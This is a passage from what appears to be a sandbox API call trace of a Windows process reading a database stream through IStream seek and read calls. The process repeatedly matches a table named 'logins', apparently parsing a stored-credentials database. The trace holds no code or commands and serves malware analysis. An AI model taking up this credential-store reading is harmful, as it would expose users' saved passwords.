pcbRead=0x12f918*=0x2) returned 0x0 [0079.492] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.492] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.492] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x1807, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.492] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f94b, cb=0x1, pcbRead=0x12f918 | out: pv=0x12f94b*=0x0, pcbRead=0x12f918*=0x1) returned 0x0 [0079.492] LocalAlloc (uFlags=0x40, uBytes=0x10080) returned 0x691c28 [0079.492] LocalFree (hMem=0x691c28) returned 0x0 [0079.492] LocalFree (hMem=0x665780) returned 0x0 [0079.492] LocalFree (hMem=0x6643e8) returned 0x0 [0079.492] LocalFree (hMem=0x664480) returned 0x0 [0079.492] LocalFree (hMem=0x664350) returned 0x0 [0079.492] LocalFree (hMem=0x6522a8) returned 0x0 [0079.492] LocalFree (hMem=0x670d78) returned 0x0 [0079.492] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x73a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.492] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.492] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.492] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x73a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.492] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x2b, pcbRead=0x12f980*=0x1) returned 0x0 [0079.492] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.493] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.493] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x73b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.493] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x4, pcbRead=0x12f980*=0x1) returned 0x0 [0079.493] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.493] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f9c8 | out: ppstm=0x12f9c8*=0x64baa8) returned 0x0 [0079.493] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.493] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.493] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x73c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.493] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x2b, pcbRead=0x12f990 | out: pv=0x655310*=0x6, pcbRead=0x12f990*=0x2b) returned 0x0 [0079.493] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x6, cb=0x2b, pcbWritten=0x12f9a8 | out: pcbWritten=0x12f9a8*=0x2b) returned 0x0 [0079.493] LocalFree (hMem=0x655310) returned 0x0 [0079.493] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.493] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.493] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.493] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.493] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.493] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x6, pcbRead=0x12f940*=0x1) returned 0x0 [0079.493] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.493] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.494] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.494] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.494] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x17, pcbRead=0x12f940*=0x1) returned 0x0 [0079.494] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.494] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.494] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.494] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x3f, pcbRead=0x12f940*=0x1) returned 0x0 [0079.494] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.494] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.494] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.494] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x19, pcbRead=0x12f940*=0x1) returned 0x0 [0079.494] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.494] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.494] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.494] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x1, pcbRead=0x12f940*=0x1) returned 0x0 [0079.494] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.494] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.495] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.495] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x0, pcbRead=0x12f940*=0x1) returned 0x0 [0079.495] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670cd8 [0079.495] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.495] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.495] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.495] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.495] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f950 | out: pv=0x6687b0*=0x69, pcbRead=0x12f950*=0x5) returned 0x0 [0079.495] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0079.495] LocalFree (hMem=0x6687b0) returned 0x0 [0079.495] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652cb0 [0079.495] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.495] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.495] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.495] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x652cb0, cb=0x19, pcbRead=0x12f950 | out: pv=0x652cb0*=0x73, pcbRead=0x12f950*=0x19) returned 0x0 [0079.495] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x629248 [0079.495] LocalFree (hMem=0x652cb0) returned 0x0 [0079.495] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x6687b0 [0079.495] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.495] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.495] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x24, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.495] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x6, pcbRead=0x12f950 | out: pv=0x6687b0*=0x6c, pcbRead=0x12f950*=0x6) returned 0x0 [0079.495] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x664480 [0079.496] LocalFree (hMem=0x6687b0) returned 0x0 [0079.496] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.496] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.496] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.496] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f96f, cb=0x1, pcbRead=0x12f93c | out: pv=0x12f96f*=0x5, pcbRead=0x12f93c*=0x1) returned 0x0 [0079.496] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x6643e8 [0079.496] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.496] LocalFree (hMem=0x670d78) returned 0x0 [0079.496] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.496] lstrcmpiA (lpString1="logins", lpString2="logins") returned 0 [0079.496] lstrcmpA (lpString1="table", lpString2="index") returned 1 [0079.496] LocalFree (hMem=0x664350) returned 0x0 [0079.496] LocalFree (hMem=0x629248) returned 0x0 [0079.496] LocalFree (hMem=0x664480) returned 0x0 [0079.496] LocalFree (hMem=0x6643e8) returned 0x0 [0079.496] LocalFree (hMem=0x6687b0) returned 0x0 [0079.496] LocalFree (hMem=0x670cd8) returned 0x0 [0079.496] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x438, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.496] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.496] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.496] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x438, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.496] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x52, pcbRead=0x12f980*=0x1) returned 0x0 [0079.497] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.497] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.497] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x439, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.497] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x5, pcbRead=0x12f980*=0x1) returned 0x0 [0079.497] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.497] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f9c8 | out: ppstm=0x12f9c8*=0x64baa8) returned 0x0 [0079.497] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.497] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.497] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x43a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.497] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x52, pcbRead=0x12f990 | out: pv=0x655310*=0x6, pcbRead=0x12f990*=0x52) returned 0x0 [0079.497] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x6, cb=0x52, pcbWritten=0x12f9a8 | out: pcbWritten=0x12f9a8*=0x52) returned 0x0 [0079.497] LocalFree (hMem=0x655310) returned 0x0 [0079.497] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.497] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.497] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.497] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.497] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.497] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x6, pcbRead=0x12f940*=0x1) returned 0x0 [0079.497] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670cd8 [0079.497] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.498] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.498] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.498] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x17, pcbRead=0x12f940*=0x1) returned 0x0 [0079.498] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.498] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.498] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.498] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x27, pcbRead=0x12f940*=0x1) returned 0x0 [0079.498] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.498] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.498] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.498] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x19, pcbRead=0x12f940*=0x1) returned 0x0 [0079.498] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.498] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.498] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.498] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x1, pcbRead=0x12f940*=0x1) returned 0x0 [0079.499] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.499] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.499] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.499] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x73, pcbRead=0x12f940*=0x1) returned 0x0 [0079.499] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.499] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.499] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.499] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.499] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.499] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f950 | out: pv=0x6687b0*=0x69, pcbRead=0x12f950*=0x5) returned 0x0 [0079.499] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6643e8 [0079.499] LocalFree (hMem=0x6687b0) returned 0x0 [0079.499] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664480 [0079.499] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.499] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.499] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.499] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x664480, cb=0xd, pcbRead=0x12f950 | out: pv=0x664480*=0x6c, pcbRead=0x12f950*=0xd) returned 0x0 [0079.499] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x670c38 [0079.499] LocalFree (hMem=0x664480) returned 0x0 [0079.499] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x6687b0 [0079.500] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.500] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.500] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.500] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x6, pcbRead=0x12f950 | out: pv=0x6687b0*=0x6c, pcbRead=0x12f950*=0x6) returned 0x0 [0079.500] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x664480 [0079.500] LocalFree (hMem=0x6687b0) returned 0x0 [0079.500] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.500] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.500] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.500] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f96f, cb=0x1, pcbRead=0x12f93c | out: pv=0x12f96f*=0x6, pcbRead=0x12f93c*=0x1) returned 0x0 [0079.500] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664350 [0079.500] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643c28 [0079.500] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.500] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.500] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.500] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x643c28, cb=0x33, pcbRead=0x12f950 | out: pv=0x643c28*=0x43, pcbRead=0x12f950*=0x33) returned 0x0 [0079.500] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x650450 [0079.500] LocalFree (hMem=0x643c28) returned 0x0 [0079.500] LocalFree (hMem=0x670cd8) returned 0x0 [0079.500] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.500] lstrcmpiA (lpString1="logins", lpString2="logins") returned 0 [0079.500] lstrcmpA (lpString1="table", lpString2="index") returned 1 [0079.500] LocalFree (hMem=0x6643e8) returned 0x0 [0079.500] LocalFree (hMem=0x670c38) returned 0x0 [0079.500] LocalFree (hMem=0x664480) returned 0x0 [0079.501] LocalFree (hMem=0x664350) returned 0x0 [0079.501] LocalFree (hMem=0x650450) returned 0x0 [0079.501] LocalFree (hMem=0x670d78) returned 0x0 [0079.501] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x34a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.501] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.501] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.501] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x34a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.501] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x81, pcbRead=0x12f980*=0x1) returned 0x0 [0079.501] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.501] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.501] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x34b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.501] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x40, pcbRead=0x12f980*=0x1) returned 0x0 [0079.501] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.501] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.501] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x34c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.501] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x6, pcbRead=0x12f980*=0x1) returned 0x0 [0079.501] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.501] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f9c8 | out: ppstm=0x12f9c8*=0x64baa8) returned 0x0 [0079.501] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.501] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.502] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x34d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.502] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0xc0, pcbRead=0x12f990 | out: pv=0x655310*=0x7, pcbRead=0x12f990*=0xc0) returned 0x0 [0079.502] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x7, cb=0xc0, pcbWritten=0x12f9a8 | out: pcbWritten=0x12f9a8*=0xc0) returned 0x0 [0079.502] LocalFree (hMem=0x655310) returned 0x0 [0079.502] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.502] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.502] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.502] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 